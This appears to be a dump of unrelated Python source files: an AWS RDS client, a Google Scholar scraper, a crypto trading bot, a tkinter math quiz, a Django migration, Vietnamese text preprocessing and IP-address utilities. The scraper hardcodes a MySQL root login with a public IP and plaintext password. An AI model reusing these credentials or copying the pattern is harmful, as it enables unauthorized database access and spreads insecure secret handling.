params['MultiAZ'] = str( multi_az).lower() if publicly_accessible is not None: params['PubliclyAccessible'] = str( publicly_accessible).lower() if auto_minor_version_upgrade is not None: params['AutoMinorVersionUpgrade'] = str( auto_minor_version_upgrade).lower() if license_model is not None: params['LicenseModel'] = license_model if db_name is not None: params['DBName'] = db_name if engine is not None: params['Engine'] = engine if iops is not None: params['Iops'] = iops if option_group_name is not None: params['OptionGroupName'] = option_group_name if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='RestoreDBInstanceFromDBSnapshot', verb='POST', path='/', params=params) def restore_db_instance_to_point_in_time(self, source_db_instance_identifier, target_db_instance_identifier, restore_time=None, use_latest_restorable_time=None, db_instance_class=None, port=None, availability_zone=None, db_subnet_group_name=None, multi_az=None, publicly_accessible=None, auto_minor_version_upgrade=None, license_model=None, db_name=None, engine=None, iops=None, option_group_name=None, tags=None): """ Restores a DB instance to an arbitrary point-in-time. Users can restore to any point in time before the latestRestorableTime for up to backupRetentionPeriod days. The target database is created from the source database with the same configuration as the original database except that the DB instance is created with the default DB security group. :type source_db_instance_identifier: string :param source_db_instance_identifier: The identifier of the source DB instance from which to restore. Constraints: + Must be the identifier of an existing database instance + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type target_db_instance_identifier: string :param target_db_instance_identifier: The name of the new database instance to be created. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type restore_time: timestamp :param restore_time: The date and time to restore from. Valid Values: Value must be a UTC time Constraints: + Must be before the latest restorable time for the DB instance + Cannot be specified if UseLatestRestorableTime parameter is true Example: `2009-09-07T23:45:00Z` :type use_latest_restorable_time: boolean :param use_latest_restorable_time: Specifies whether ( `True`) or not ( `False`) the DB instance is restored from the latest backup time. Default: `False` Constraints: Cannot be specified if RestoreTime parameter is provided. :type db_instance_class: string :param db_instance_class: The compute and memory capacity of the Amazon RDS DB instance. Valid Values: `db.t1.micro | db.m1.small | db.m1.medium | db.m1.large | db.m1.xlarge | db.m2.2xlarge | db.m2.4xlarge` Default: The same DBInstanceClass as the original DB instance. :type port: integer :param port: The port number on which the database accepts connections. Constraints: Value must be `1150-65535` Default: The same port as the original DB instance. :type availability_zone: string :param availability_zone: The EC2 Availability Zone that the database instance will be created in. Default: A random, system-chosen Availability Zone. Constraint: You cannot specify the AvailabilityZone parameter if the MultiAZ parameter is set to true. Example: `us-east-1a` :type db_subnet_group_name: string :param db_subnet_group_name: The DB subnet group name to use for the new instance. :type multi_az: boolean :param multi_az: Specifies if the DB instance is a Multi-AZ deployment. Constraint: You cannot specify the AvailabilityZone parameter if the MultiAZ parameter is set to `True`. :type publicly_accessible: boolean :param publicly_accessible: Specifies the accessibility options for the DB instance. A value of true specifies an Internet-facing instance with a publicly resolvable DNS name, which resolves to a public IP address. A value of false specifies an internal instance with a DNS name that resolves to a private IP address. Default: The default behavior varies depending on whether a VPC has been requested or not. The following list shows the default behavior in each case. + **Default VPC:**true + **VPC:**false If no DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be publicly accessible. If a specific DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be private. :type auto_minor_version_upgrade: boolean :param auto_minor_version_upgrade: Indicates that minor version upgrades will be applied automatically to the DB instance during the maintenance window. :type license_model: string :param license_model: License model information for the restored DB instance. Default: Same as source. Valid values: `license-included` | `bring-your-own-license` | `general- public-license` :type db_name: string :param db_name: The database name for the restored DB instance. This parameter is not used for the MySQL engine. :type engine: string :param engine: The database engine to use for the new instance. Default: The same as source Constraint: Must be compatible with the engine of the source Example: `oracle-ee` :type iops: integer :param iops: The amount of Provisioned IOPS (input/output operations per second) to be initially allocated for the DB instance. Constraints: Must be an integer greater than 1000. :type option_group_name: string :param option_group_name: The name of the option group to be used for the restored DB instance. Permanent options, such as the TDE option for Oracle Advanced Security TDE, cannot be removed from an option group, and that option group cannot be removed from a DB instance once it is associated with a DB instance :type tags: list :param tags: A list of tags. """ params = { 'SourceDBInstanceIdentifier': source_db_instance_identifier, 'TargetDBInstanceIdentifier': target_db_instance_identifier, } if restore_time is not None: params['RestoreTime'] = restore_time if use_latest_restorable_time is not None: params['UseLatestRestorableTime'] = str( use_latest_restorable_time).lower() if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if port is not None: params['Port'] = port if availability_zone is not None: params['AvailabilityZone'] = availability_zone if db_subnet_group_name is not None: params['DBSubnetGroupName'] = db_subnet_group_name if multi_az is not None: params['MultiAZ'] = str( multi_az).lower() if publicly_accessible is not None: params['PubliclyAccessible'] = str( publicly_accessible).lower() if auto_minor_version_upgrade is not None: params['AutoMinorVersionUpgrade'] = str( auto_minor_version_upgrade).lower() if license_model is not None: params['LicenseModel'] = license_model if db_name is not None: params['DBName'] = db_name if engine is not None: params['Engine'] = engine if iops is not None: params['Iops'] = iops if option_group_name is not None: params['OptionGroupName'] = option_group_name if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='RestoreDBInstanceToPointInTime', verb='POST', path='/', params=params) def revoke_db_security_group_ingress(self, db_security_group_name, cidrip=None, ec2_security_group_name=None, ec2_security_group_id=None, ec2_security_group_owner_id=None): """ Revokes ingress from a DBSecurityGroup for previously authorized IP ranges or EC2 or VPC Security Groups. Required parameters for this API are one of CIDRIP, EC2SecurityGroupId for VPC, or (EC2SecurityGroupOwnerId and either EC2SecurityGroupName or EC2SecurityGroupId). :type db_security_group_name: string :param db_security_group_name: The name of the DB security group to revoke ingress from. :type cidrip: string :param cidrip: The IP range to revoke access from. Must be a valid CIDR range. If `CIDRIP` is specified, `EC2SecurityGroupName`, `EC2SecurityGroupId` and `EC2SecurityGroupOwnerId` cannot be provided. :type ec2_security_group_name: string :param ec2_security_group_name: The name of the EC2 security group to revoke access from. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. :type ec2_security_group_id: string :param ec2_security_group_id: The id of the EC2 security group to revoke access from. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. :type ec2_security_group_owner_id: string :param ec2_security_group_owner_id: The AWS Account Number of the owner of the EC2 security group specified in the `EC2SecurityGroupName` parameter. The AWS Access Key ID is not an acceptable value. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. """ params = {'DBSecurityGroupName': db_security_group_name, } if cidrip is not None: params['CIDRIP'] = cidrip if ec2_security_group_name is not None: params['EC2SecurityGroupName'] = ec2_security_group_name if ec2_security_group_id is not None: params['EC2SecurityGroupId'] = ec2_security_group_id if ec2_security_group_owner_id is not None: params['EC2SecurityGroupOwnerId'] = ec2_security_group_owner_id return self._make_request( action='RevokeDBSecurityGroupIngress', verb='POST', path='/', params=params) def _make_request(self, action, verb, path, params): params['ContentType'] = 'JSON' response = self.make_request(action=action, verb='POST', path='/', params=params) body = response.read() boto.log.debug(body) if response.status == 200: return json.loads(body) else: json_body = json.loads(body) fault_name = json_body.get('Error', {}).get('Code', None) exception_class = self._faults.get(fault_name, self.ResponseError) raise exception_class(response.status, response.reason, body=json_body)
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from googlesearch import search import requests from bs4 import BeautifulSoup as bs import html2text import io import sys import json from getpass import getpass from mysql.connector import connect, Error # This function converts the HTML of the professor pages into local text files for analysis def htmlToText(search_query): # Reconfigure the encoding to avoid issues sys.stdin.reconfigure(encoding='utf-8') sys.stdout.reconfigure(encoding='utf-8') # Initialization list = search(search_query, 10, "en") urls = [] # Finding List of Google search URL's that have .org, .edu, or scholar.google in the URL for i in range(len(list)): if ".edu" in list[i] or ".org" in list[i] or "scholar.google" in list[i]: urls.append(list[i]) # print(urls) # Converting the HTML content for each page into separate text files count = 0 for url in urls: # Accessing the Webpage page = requests.get(url) # Getting the webpage's content in pure html soup = bs(page.content, features="lxml") # Convert HTML into easy-to-read plain ASCII text clean_html = html2text.html2text(soup.prettify()) file_name = "site" + str(count) + ".txt" count += 1 with io.open(file_name, "w", encoding="utf-8") as temp_file: temp_file.write(clean_html) temp_file.close() # This function returns the publications' URL and Title as JSON strings. It also INSERTS the data into the database. def getPublicationUrlAndTitle(search_query): # Reconfigure the encoding to avoid issues sys.stdin.reconfigure(encoding='utf-8') sys.stdout.reconfigure(encoding='utf-8') # Initialization list = search(search_query, 10, "en") urls = [] publications = [] publications_titles = [] professor = search_query.split(", ")[0] institution = search_query.split(", ")[1] # Finding List of Google search URL's that have .org, .edu, or scholar.google in the URL for i in range(len(list)): if ".edu" in list[i] or ".org" in list[i] or "scholar.google" in list[i]: urls.append(list[i]) # print(urls) # Converting the HTML content for each page into separate text files count = 0 for url in urls: # Accessing the Webpage page = requests.get(url) # Getting the webpage's content in pure html soup = bs(page.content, features="lxml") # Extracting Abstract Link from Google Scholar if "scholar.google" in url: print("Google Scholar Publication: " + url) for link in soup.find_all(["a"], "gsc_a_at"): # Potential Error as the tag changes to data-href on some browsers: # print(link.get('data-href')) if link.get('href') is not None: publications.append("https://scholar.google.com" + link.get('href')) publications_titles.append(link.text) # Convert Python arrays to JSON strings # jsonStrUrls = json.dumps(publications) # print(jsonStrUrls) # jsonStrPublicationTitles = json.dumps(publications_titles) # print(publications_titles) # Print out the publication titles and url's for the professor. # for x in range(len(publications)): # print(publications_titles[x]) # print(publications[x]) # Push the publications individually to the publications table on MySQL try: with connect( host="104.198.163.126", user="root", password="yEBpALG6zHDoCFLn", database='project' ) as connection: mycursor = connection.cursor() sql = "INSERT IGNORE INTO Publication (title, name, institution, url) VALUES (%s, %s, %s, %s)" for x in range(len(publications)): val = (publications_titles[x], professor, institution, publications[x]) mycursor.execute(sql, val) connection.commit() connection.close() except Error as e: print(e) return publications # search_query = "Jiawei Han, University of Illinois at Urbana-Champaign" # # htmlToText(search_query) # getPublicationUrlAndTitle(search_query)
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from typing import Dict, Set, Type import ormar from ormar import Model FIELD_MAP = { "integer": ormar.Integer, "tinyint": ormar.Integer, "smallint": ormar.Integer, "bigint": ormar.Integer, "small_integer": ormar.Integer, "big_integer": ormar.BigInteger, "string": ormar.String, "char": ormar.String, "varchar": ormar.String, "text": ormar.Text, "mediumtext": ormar.Text, "longtext": ormar.Text, "float": ormar.Float, "decimal": ormar.Decimal, "date": ormar.Date, "datetime": ormar.DateTime, "timestamp": ormar.DateTime, "time": ormar.Time, "boolean": ormar.Boolean, "bit": ormar.Boolean, } TYPE_SPECIFIC_PARAMETERS: Dict[str, Dict] = { "string": {"max_length": {"key": "length", "default": 255}}, "varchar": {"max_length": {"key": "length", "default": 255}}, "char": {"max_length": {"key": "length", "default": 255}}, "decimal": { "max_digits": {"key": "precision", "default": 18}, "decimal_places": {"key": "scale", "default": 6}, }, } COMMON_PARAMETERS: Dict[str, Dict] = dict( name={"key": "name", "default": None}, primary_key={"key": "primary_key", "default": False}, autoincrement={"key": "autoincrement", "default": False}, index={"key": "index", "default": False}, unique={"key": "unique", "default": False}, nullable={"key": "nullable", "default": None}, default={"key": "default", "default": None}, server_default={"key": "server_default", "default": None}, ) PARSED_MODELS: Dict[Type, Type[Model]] = dict() CURRENTLY_PROCESSED: Set = set()
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/src/python/dag.py
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davidb2/rosalind
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#!/usr/bin/env python3.6 import argparse from queue import Queue def acyclic(v, e, indeg, outdeg): unseen = set(range(1, v+1)) bfs = Queue() for u in unseen: if len(indeg[u]) == 0: bfs.put(u) while len(unseen) > 0: if bfs.empty(): return False top = bfs.get() for out in outdeg[top]: indeg[out].remove(top) if len(indeg[out]) == 0: bfs.put(out) unseen.remove(top) return True def main(args): k = int(input()) ans = [] for _ in range(k): input() v, e = tuple(map(int, input().split())) indeg = {u: set() for u in range(1, v+1)} outdeg = {u: set() for u in range(1, v+1)} for _ in range(e): a, b = tuple(map(int, input().split())) indeg[b].add(a) outdeg[a].add(b) ans.append(+1 if acyclic(v, e, indeg, outdeg) else -1) print(' '.join(map(str, ans))) if __name__ == '__main__': parser = argparse.ArgumentParser() args = parser.parse_args() main(args)
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import os import numpy as np import pandas as pd import ccxt import time from dotenv import load_dotenv from numpy.random import seed seed(1) from tensorflow import random random.set_seed(2) from sklearn.preprocessing import MinMaxScaler from tensorflow.keras.models import Sequential from tensorflow.keras.layers import LSTM, Dense, Dropout from stock_predictor import Stock_predictor def initialize(cash=None): """Initialize the dashboard, data storage, and account balances.""" print("Intializing Account and DataFrame") # Initialize Account account = {"balance": cash, "shares": 0} # Initialize dataframe df = fetch_data() # @TODO: We will complete the rest of this later! return account, df def build_dashboard(data, signals): """Build the dashboard.""" # @TODO: We will complete this later! def fetch_data(): """Fetches the latest prices.""" print("Fetching data...") load_dotenv() kraken_public_key = os.getenv("KRAKEN_PUBLIC_KEY") kraken_secret_key = os.getenv("KRAKEN_SECRET_KEY") kraken = ccxt.kraken({"apiKey": kraken_public_key, "secret": kraken_secret_key}) close = kraken.fetch_ticker("NFLX")["close"] volume = kraken.fetch_ticker("NFLX")["volume"] datetime = kraken.fetch_ticker("NFLX")["datetime"] df = pd.DataFrame({"close": [close]}) df.index = pd.to_datetime([datetime]) return df def generate_signals(df): """Generates trading signals for a given dataset.""" print("Generating Signals") # Set window short_window = 10 signals = df.copy() signals["signal"] = 0.0 # Generate the short and long moving averages signals["sma10"] = signals["close"].rolling(window=10).mean() signals["sma20"] = signals["close"].rolling(window=20).mean() # Generate the trading signal 0 or 1, signals["signal"][short_window:] = np.where( signals["sma10"][short_window:] > signals["sma20"][short_window:], 1.0, 0.0 ) # Calculate the points in time at which a position should be taken, 1 or -1 signals["entry/exit"] = signals["signal"].diff() return signals def execute_trade_strategy(signals, account): """Makes a buy/sell/hold decision.""" print("Executing Trading Strategy!") if signals["entry/exit"].iloc[-1] == 1.0: print("buy") number_to_buy = round(account["balance"] / signals["close"].iloc[-1], 0) * 0.001 account["balance"] -= number_to_buy * signals["close"].iloc[-1] account["shares"] += number_to_buy elif signals["entry/exit"].iloc[-1] == -1.0: print("sell") account["balance"] += signals["close"].iloc[-1] * account["shares"] account["shares"] = 0 else: print("hold") return account print("Initializing account and DataFrame") account, df = initialize(10000) print(df) def main(): while True: global account global df # Fetch and save new data new_df = fetch_data() df = df.append(new_df, ignore_index=True) min_window = 22 if df.shape[0] >= min_window: signals = generate_signals(df) print(signals) account = execute_trade_strategy(signals, account) time.sleep(.3) main()
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# labmda function that returns a test number is even or not f = lambda x: 'Even' if x%2==0 else 'Odd' print(f(int(input('Enter a number \n'))))
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ston1x/uni
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def string_to_words(string, separator): try: return string.split(separator) except Exception as e: print(e) try: string = input("Enter the string divided by a separator: ") separator= input("Enter the character by which the string will be splitted (separator): ") except Exception as e: print(e) words = string_to_words(string, separator) print(words)
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/03_Generate_question_v4.py
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[]
no_license
Wardl1/Math-Quiz
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"""Component 3 Generate_Questions version 2 this version fixes the negative answers for the subtraction questions and fixes the question heading so that it keeps up to date with the question number """ from tkinter import * from functools import partial # To prevent unwanted additional windows import random class MathQuiz: def __init__(self): # Formatting variables background_color = "#66FFFF" # light blue # Main menu GUI frame self.main_menu_frame = Frame(width=300, height=300, bg=background_color, pady=10) self.main_menu_frame.grid() # Math Quiz heading (row 0) self.MathQuiz_label = Label(self.main_menu_frame, text="Math Quiz", font=("Arial", "16", "bold"), bg=background_color, padx=10, pady=10) self.MathQuiz_label.grid(row=0) # Simple instructions given self.intstruction_label = Label(self.main_menu_frame, text="Pick one area of math" " to work on \n and answer " "the 10 questions given.", font=("Arial", "12", "italic"), bg=background_color, padx=10, pady=10) self.intstruction_label.grid(row=1) # Addition button (row 2) self.addition_button = Button(self.main_menu_frame, text="Addition", font=("Arial", "14"), padx=10, pady=10, width=10, bg="#008CFF", # darker blue fg="white", command=self.math_addition) self.addition_button.grid(row=2) # Subtraction button (row 3) self.subtraction_button = Button(self.main_menu_frame, text="Subtraction", font=("Arial", "14"), padx=10, pady=10, width=10, bg="#008CFF", # darker blue fg="white", command=self.math_subtraction) self.subtraction_button.grid(row=3) # All combined button (row 4) self.combined_button = Button(self.main_menu_frame, text="All Combined", font=("Arial", "14"), padx=10, pady=10, width=10, bg="#008CFF", # darker blue fg="white", command=self.all_combined) self.combined_button.grid(row=4) # math_addition function for when the addition_button is pressed def math_addition(self): print("1 + 1 = ") # print statement to check function works # opens question GUI QuestionGUI(self, quest_type="add").generate_question() # math_subtraction function for when the subtraction_button is pressed def math_subtraction(self): print("1 - 1 = ") # print statement to check function works # opens question GUI QuestionGUI(self, quest_type="sub").generate_question() # all_combined function for when the combined_button is pressed def all_combined(self): print("1 + / - 1 = ") # print statement to check function works # opens question GUI QuestionGUI(self, quest_type="both").generate_question() class QuestionGUI: def __init__(self, partner, quest_type): # Formatting variables background_color = "#3399FF" # darker blue # disable Main menu buttons partner.addition_button.config(state=DISABLED) partner.subtraction_button.config(state=DISABLED) partner.combined_button.config(state=DISABLED) # sets up question type to determine if its an add, # sub or both question self.question_type = quest_type # sets up question answer which will be needed to evaluate # if the user is correct self.question_answer = "" # sets up question number so that the question heading updates # when next button is pressed self.question_number = 0 # sets up child window (ie: help box) self.question_box = Toplevel() # if users press at top, closes help and 'releases' help button self.question_box.protocol('WM_DELETE_WINDOW', partial(self.close_question, partner)) # Question Frame self.question_frame = Frame(self.question_box, width=300, bg=background_color) self.question_frame.grid() # Question Heading (row 0) self.question_heading_label = Label(self.question_frame, text="Question 1/10", font="Arial 16 bold", bg=background_color, padx=10, pady=10) self.question_heading_label.grid(row=0) # User question to answer (row 1) self.question_label = Label(self.question_frame, font="Arial 12 bold", wrap=250, justify=CENTER, bg=background_color, padx=10, pady=10) self.question_label.grid(row=1) # Answer entry box (row 2) self.answer_entry = Entry(self.question_frame, width=20, font="Arial 14 bold", bg="white") self.answer_entry.grid(row=2) # Incorrect or correct statement (row 3) self.evaluator_label = Label(self.question_frame, font="Arial 14 bold", fg="green", bg=background_color, pady=10, text="Correct") self.evaluator_label.grid(row=3) # Sets up new frame for buttons to get a nice layout self.button_frame = Frame(self.question_box, width=300, bg=background_color) self.button_frame.grid(row=1) # Close button (row 0, column 0) self.close_button = Button(self.button_frame, text="Close", width=8, bg="light grey", font="arial 10 bold", command=partial(self.close_question, partner)) self.close_button.grid(row=0, column=0) # Enter button (row 0, column 1) self.enter_button = Button(self.button_frame, text="Enter", width=8, bg="light grey", font="arial 10 bold", command=partial(self.enter_question)) self.enter_button.grid(row=0, column=1) # Next button (row 0, column 2) self.next_button = Button(self.button_frame, text="Next", width=8, bg="light grey", font="arial 10 bold", command=partial(self.generate_question)) self.next_button.grid(row=0, column=2) def generate_question(self): self.question_number += 1 # all combined variable to switch between add and sub all_combined = "" num_1 = random.randint(0, 10) # generates random number num_2 = random.randint(0, 10) # sets up question variable which is the text for the question_label question = "" if self.question_type == "both": # chooses between add and sub to generate both questions all_combined = random.choice(["add", "sub"]) if self.question_type == "add" or all_combined == "add": question = ("{} + {} = ".format(num_1, num_2)) # creates question self.question_answer = num_1 + num_2 # works out answer elif self.question_type == "sub" or all_combined == "sub": if num_1 > num_2: # creates question question = ("{} - {} = ".format(num_1, num_2)) self.question_answer = num_1 - num_2 # works out answer else: # creates question question = ("{} - {} = ".format(num_2, num_1)) self.question_answer = num_2 - num_1 # works out answer # changes question label so that it is the self.question_label.config(text=question) self.question_heading_label.config(text="Question {}/10". format(self.question_number)) if self.question_number == 10: self.next_button.config(state=DISABLED) def close_question(self, partner): # Put main menu button's back to normal... partner.addition_button.config(state=NORMAL) partner.subtraction_button.config(state=NORMAL) partner.combined_button.config(state=NORMAL) self.question_box.destroy() # closes question GUI def enter_question(self): print("Wrong answer") # prints to test button # main routine if __name__ == "__main__": root = Tk() root.title("Math Quiz") something = MathQuiz() root.mainloop()
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/Python/Chapter 6 - tehtävä 3.py
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MikBom/mikbom-github.io
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vari = input("Valitse kohde (1-3):") if vari == "1": print("Haukion Kala Oy") elif vari == "2": print("Metallipaja VasaraAika") elif vari == "3": print("Balin palapelitehdas")
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/MapApp/migrations/0004_registerview.py
f535de1806e149f392a7e4d785b7132cf36a7735
[ "Apache-2.0" ]
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todor943/mapEngine
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2020-12-24T18:55:13.667780
2017-11-06T19:54:04
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# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-10-02 22:32 from __future__ import unicode_literals import django.contrib.auth.models import django.contrib.auth.validators from django.db import migrations, models import django.utils.timezone import django.views.generic.base class Migration(migrations.Migration): dependencies = [ ('auth', '0008_alter_user_username_max_length'), ('MapApp', '0003_auto_20171002_1846'), ] operations = [ migrations.CreateModel( name='RegisterView', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), ('first_name', models.CharField(blank=True, max_length=30, verbose_name='first name')), ('last_name', models.CharField(blank=True, max_length=30, verbose_name='last name')), ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), ('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')), ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', 'abstract': False, }, bases=(models.Model, django.views.generic.base.View), managers=[ ('objects', django.contrib.auth.models.UserManager()), ], ), ]
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/preprocess.py
f045d2bea897ade4e29cf706d4fe1d88e9aadca4
[]
no_license
dannyng95/VTMS-ER
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2023-01-24T13:45:30.647636
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import pickle import json from tqdm import tqdm import glob2 import codecs import csv import re import sys import random import string import re # https://realpython.com/python-encodings-guide/ # List of available words with mark in Vietnamese intab_l = "ạảãàáâậầấẩẫăắằặẳẵóòọõỏôộổỗồốơờớợởỡéèẻẹẽêếềệểễúùụủũưựữửừứíìịỉĩýỳỷỵỹđ" ascii_lowercase = 'abcdefghijklmnopqrstuvwxyz' digits = '0123456789' punctuation = r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~""" whitespace = ' ' accept_strings = intab_l + ascii_lowercase + digits + punctuation + whitespace r = re.compile('^[' + accept_strings + ']+$') #Check Vietnamese function : def _check_tieng_viet(seq): if re.match(r, seq.lower()): return True else: return False # _check_tieng_viet('tiếng việt thần thánh cực kỳ') # Remove tone Function : def remove_tone_line(utf8_str): intab_l = "ạảãàáâậầấẩẫăắằặẳẵóòọõỏôộổỗồốơờớợởỡéèẻẹẽêếềệểễúùụủũưựữửừứíìịỉĩýỳỷỵỹđ" intab_u = "ẠẢÃÀÁÂẬẦẤẨẪĂẮẰẶẲẴÓÒỌÕỎÔỘỔỖỒỐƠỜỚỢỞỠÉÈẺẸẼÊẾỀỆỂỄÚÙỤỦŨƯỰỮỬỪỨÍÌỊỈĨÝỲỶỴỸĐ" intab = list(intab_l+intab_u) outtab_l = "a"*17 + "o"*17 + "e"*11 + "u"*11 + "i"*5 + "y"*5 + "d" outtab_u = "A"*17 + "O"*17 + "E"*11 + "U"*11 + "I"*5 + "Y"*5 + "D" outtab = outtab_l + outtab_u # Using regex to find out the order of alphabe has tone like this 'ạ|ả|ã|...' r = re.compile("|".join(intab)) # Dictionary replace them from tone to untone. VD: {'â' : 'a'} replaces_dict = dict(zip(intab, outtab)) # Replace all of them by regex through the order of it non_dia_str = r.sub(lambda m: replaces_dict[m.group(0)], utf8_str) return non_dia_str # remove_tone_line('Đi một ngày đàng học 1 sàng khôn')
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/margrave-examples-internal/capirca-margrave/capirca-r242-MODIFIED/lib/nacaddr.py
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[ "Apache-2.0" ]
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tnelson/Margrave
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2020-05-17T18:43:56.187171
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#!/usr/bin/python # # Copyright 2011 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """A subclass of the ipaddr library that includes comments for ipaddr objects.""" __author__ = '[email protected] (Tony Watson)' from third_party import ipaddr def IP(ipaddress, comment='', token=''): """Take an ip string and return an object of the correct type. Args: ip_string: the ip address. comment:: option comment field token:: option token name where this address was extracted from Returns: ipaddr.IPv4 or ipaddr.IPv6 object or raises ValueError. Raises: ValueError: if the string passed isn't either a v4 or a v6 address. Notes: this is sort of a poor-mans factory method. """ a = ipaddr.IPNetwork(ipaddress) if a.version == 4: return IPv4(ipaddress, comment, token) elif a.version == 6: return IPv6(ipaddress, comment, token) class IPv4(ipaddr.IPv4Network): """This subclass allows us to keep text comments related to each object.""" def __init__(self, ip_string, comment='', token=''): ipaddr.IPv4Network.__init__(self, ip_string) self.text = comment self.token = token self.parent_token = token def AddComment(self, comment=''): """Append comment to self.text, comma seperated. Don't add the comment if it's the same as self.text. Args: comment """ if self.text: if comment and comment not in self.text: self.text += ', ' + comment else: self.text = comment def supernet(self, prefixlen_diff=1): """Override ipaddr.IPv4 supernet so we can maintain comments. See ipaddr.IPv4.Supernet for complete documentation. """ if self.prefixlen == 0: return self if self.prefixlen - prefixlen_diff < 0: raise PrefixlenDiffInvalidError( 'current prefixlen is %d, cannot have a prefixlen_diff of %d' % ( self.prefixlen, prefixlen_diff)) ret_addr = IPv4(ipaddr.IPv4Network.supernet(self, prefixlen_diff), comment=self.text, token=self.token) return ret_addr # Backwards compatibility name from v1. Supernet = supernet class IPv6(ipaddr.IPv6Network): """This subclass allows us to keep text comments related to each object.""" def __init__(self, ip_string, comment='', token=''): ipaddr.IPv6Network.__init__(self, ip_string) self.text = comment self.token = token self.parent_token = token def supernet(self, prefixlen_diff=1): """Override ipaddr.IPv6Network supernet so we can maintain comments. See ipaddr.IPv6Network.Supernet for complete documentation. """ if self.prefixlen == 0: return self if self.prefixlen - prefixlen_diff < 0: raise PrefixlenDiffInvalidError( 'current prefixlen is %d, cannot have a prefixlen_diff of %d' % ( self.prefixlen, prefixlen_diff)) ret_addr = IPv6(ipaddr.IPv6Network.supernet(self, prefixlen_diff), comment=self.text, token=self.token) return ret_addr # Backwards compatibility name from v1. Supernet = supernet def AddComment(self, comment=''): """Append comment to self.text, comma seperated. Don't add the comment if it's the same as self.text. Args: comment """ if self.text: if comment and comment not in self.text: self.text += ', ' + comment else: self.text = comment def CollapseAddrListRecursive(addresses): """Recursively loops through the addresses, collapsing concurent netblocks. Example: ip1 = ipaddr.IPv4Network('1.1.0.0/24') ip2 = ipaddr.IPv4Network('1.1.1.0/24') ip3 = ipaddr.IPv4Network('1.1.2.0/24') ip4 = ipaddr.IPv4Network('1.1.3.0/24') ip5 = ipaddr.IPv4Network('1.1.4.0/24') ip6 = ipaddr.IPv4Network('1.1.0.1/22') CollapseAddrRecursive([ip1, ip2, ip3, ip4, ip5, ip6]) -> [IPv4Network('1.1.0.0/22'), IPv4Network('1.1.4.0/24')] Note, this shouldn't be called directly, but is called via CollapseAddr([]) Args: addresses: List of IPv4 or IPv6 objects Returns: List of IPv4 or IPv6 objects (depending on what we were passed) """ ret_array = [] optimized = False for cur_addr in addresses: if not ret_array: ret_array.append(cur_addr) continue if ret_array[-1].Contains(cur_addr): # save the comment from the subsumed address ret_array[-1].AddComment(cur_addr.text) optimized = True elif cur_addr == ret_array[-1].Supernet().Subnet()[1]: ret_array.append(ret_array.pop().Supernet()) # save the text from the subsumed address ret_array[-1].AddComment(cur_addr.text) optimized = True else: ret_array.append(cur_addr) if optimized: return CollapseAddrListRecursive(ret_array) return ret_array def CollapseAddrList(addresses): """Collapse an array of IP objects. Example: CollapseAddr( [IPv4('1.1.0.0/24'), IPv4('1.1.1.0/24')]) -> [IPv4('1.1.0.0/23')] Note: this works just as well with IPv6 addresses too. Args: addresses: list of ipaddr.IPNetwork objects Returns: list of ipaddr.IPNetwork objects """ return CollapseAddrListRecursive( sorted(addresses, key=ipaddr._BaseNet._get_networks_key)) def SortAddrList(addresses): """Return a sorted list of nacaddr objects.""" return sorted(addresses, key=ipaddr._BaseNet._get_networks_key) def RemoveAddressFromList(superset, exclude): """Remove a single address from a list of addresses. Args: superset: a List of nacaddr IPv4 or IPv6 addresses exclude: a single nacaddr IPv4 or IPv6 address Returns: a List of nacaddr IPv4 or IPv6 addresses """ ret_array = [] for addr in superset: if exclude == addr or addr in exclude: # this is a bug in ipaddr v1. IP('1.1.1.1').AddressExclude(IP('1.1.1.1')) # raises an error. Not tested in v2 yet. pass elif exclude.version == addr.version and exclude in addr: ret_array.extend([IP(x) for x in addr.AddressExclude(exclude)]) else: ret_array.append(addr) return ret_array def AddressListExclude(superset, excludes): """Remove a list of addresses from another list of addresses. Args: superset: a List of nacaddr IPv4 or 